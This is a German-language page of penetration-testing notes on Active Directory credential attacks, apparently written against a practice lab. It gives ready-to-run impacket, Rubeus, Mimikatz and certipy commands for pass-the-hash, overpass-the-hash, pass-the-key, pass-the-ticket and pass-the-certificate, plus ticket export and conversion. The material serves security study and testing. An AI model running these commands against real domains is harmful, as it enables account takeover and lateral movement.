Skip to content

Password Angriffe

Die Passwort und Lockout Policy kann beispielsweise in PingCastle oder mit den folgenden zwei Befehlen gesehen werden.

netexec smb winterfell -u <user> -p <password> --pass-pol
oder auch mit net accounts.

Pass the Hash

Vorraussetzungen

Es funktioniert für Domain User und lokale Accounts

NTLM basiert auf einer Challenge-response Methode.
Dabei meldet sich ein Client beim Server, dieser schickt eine Challenge zurück.
Der Schlüssel für die Verschlüsselung dieser Challenge ist der NT hash des Passwortes.
Dadurch ist es möglich mithilfe des hashes sich bei den Diensten anzumelden und so gut wie alle Tools unterstützen dieses Verfahren.

Overpass the hash

Vorraussetzungen

RC4_HMAC_MD5 Verschlüsselung muss aktiviert sein.

Bei Overpass the hash wird mithilfe des NT Hashes eines Nutzers ein Kerberos Ticket beantragt.
Beim Domain Controller wird ein Ticket Granting Ticket beantragt. Mit einem der drei folgenden Befehle kann der Angriff ausgeführt werden:

sudo ntpdate <dc> && impacket-getTGT -hashes :<hash> domain.local/<username>
.\Rubeus.exe asktgt /user:user /domain:domain.local /rc4:<hash> /dc:dc.domain.local /ptt
sekurlsa::pth /user:<user> /domain:<domain> /rc4:<hash> /ptt # Mimikatz
Zu beachten hierbei ist, dass ntpdate genutzt wird damit der folgende Befehl die gleiche Zeit wie der Domain Controller hat.

Pass the key

Kerberos unterstützt verschiedene Verschlüsselungsalgorithmen für Kerberos Tickets.
- RC4_HMAC_MD5 - AES256_HMAC_SHA1 und AES128_HMAC_SHA1 bei Vista Win Server 2008 und später - DES_CBC_MD5 und DES_CBC_CRC bei Vista win Server 2008 und früher Um diese Schlüssel zu erhalten können sie im Mimikatz gesucht werden mit sekurlsa::ekeys.
Dann kann ein Angriff ausgeführt werden mit:

sudo ntpdate <dc> && impacket-getTGT -aesKey <key> domain.local/username
.\Rubeus.exe asktgt /user:<user> /domain:domain.local /aes256:<aes-key> /dc:dc.domain.local /ptt
sekurlsa::pth /user:<user> /domain:<domain> /aes256:<aes-key> /ptt

Pass the Ticket

Ist es möglich Tickets zu bekommen, können diese einfach benutzt werden. Dabei können TGT's benutzt werden, mit welchen es möglich ist Service Tickets für alle Dienste auszustellen um sich als der Nutzer auszugeben.
Auch ist es möglich Service Tickets direkt zu nutzen. Dabei ist zu beachten, dass der erste Teil des Service Principal Name(SPN) nicht geschützt ist. So kann zum Beispiel ldap/dc01 zu cifs/dc01 geändert werden.

Ein Ticket kann z.B. mit mimikatz und dem Befehl sekurlsa::tickets /export erhalten werden. Um dieses Ticket nutzen zu können wird ein Ticket im ccache Format benötigt.
Dazu muss das Ticket gegebenenfalls konvertiert werden.

impacket-ticketConverter ticket.kirbi ticket.ccache

Danach muss das Ticket ausgewählt werden export KRB5CCNAME=ticket.ccache.
Dann kann der Angriff durchgeführt werden: bash sudo ntpdate <dc> && impacket-smbclient -k -no-pass NORTH.sevenkingdoms.local/robb.stark@winterfell Rubeus.exe ptt /ticket:<base64-ticket> kerberos::ptt ticket.kirbi # Mimikatz>

Pass the Certificate

Kerberos erlaubt die Authentifizierung mit Zertifikaten "PKINIT".
Dies ist unter anderem nützlich für Smartcard authentifizierung, oder um Clients zu authentifizieren.
Erbeutete Zertifikate, die smartcard/client authentifizierung erlauben können genutzt werden um ein TGT oder den NT hash zu bekommen. Bei der Pre-authentication wird der aktuelle Zeitstempel mit dem privaten Schlüssel verschlüsselt. bash .\Rubeus.exe asktgt /user:<user> /certificate:cert.pfx /ptt /nowrap /getcredentials certipy auth -pfx cert.pfx python3 gettgtpkinit.py -cert-pfx cert.pfx domain.local/dc$>